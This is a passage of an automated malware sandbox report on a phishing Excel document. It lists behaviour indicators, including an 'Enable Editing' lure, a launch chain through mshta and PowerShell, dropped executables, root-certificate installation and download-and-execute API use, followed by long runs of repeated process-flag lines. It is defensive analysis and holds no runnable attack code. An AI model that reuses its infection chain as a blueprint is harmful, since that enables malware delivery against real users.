              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,15_2_0041CB50
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_000007FE89A6022D push eax; iretd 6_2_000007FE89A60241
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_000007FE89A600BD pushad ; iretd 6_2_000007FE89A600C1
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A8584A pushfd ; ret 10_2_000007FE89A8584B
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A800BD pushad ; iretd 10_2_000007FE89A800C1
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A8ED29 push 0FE80939h; ret 10_2_000007FE89A8ED2E
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89B6026B push esp; retf 4810h10_2_000007FE89B60312
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00457106 push ecx; ret 15_2_00457119
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0045B11A push esp; ret 15_2_0045B141
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0045E54D push esi; ret 15_2_0045E556
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00457A28 push eax; ret 15_2_00457A46
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00434E56 push ecx; ret 15_2_00434E69
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A9584A pushfd ; ret 25_2_000007FE89A9584B
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A900BD pushad ; iretd 25_2_000007FE89A900C1
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A9ED29 push 0FE80939h; ret 25_2_000007FE89A9ED2E
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89B7026B push esp; retf 4810h25_2_000007FE89B70312

              Persistence and Installation Behavior

              barindex
              AI detected suspicious Excel or Word document
              Source: Office documentLLM: Score: 9 Reasons: The screenshot contains a visually prominent button labeled 'Enable Editing' which is highlighted in red, drawing immediate attention. The text 'contenido bloqueado, habilite la edicin para ver el documento' (content locked, enable editing to view the document) and 'Please enable Editing and Content from the Yellow bar above to view locked content' creates a sense of urgency and interest, urging the user to take immediate action. This is a common tactic used in phishing attacks to bypass security features and execute malicious code. Additionally, the document impersonates a legitimate business context, which can mislead users into trusting the content. The combination of urgency, a prominent call-to-action button, and the impersonation of a legitimate business context significantly increases the risk of phishing or malware infection.
              Installs new ROOT certificates
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00406EB0 ShellExecuteW,URLDownloadToFileW,15_2_00406EB0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\igccu.exeJump to dropped file
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.dllJump to dropped file
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exeJump to dropped file
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.dllJump to dropped file
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,15_2_0041AA4A
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,15_2_0041CB50
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
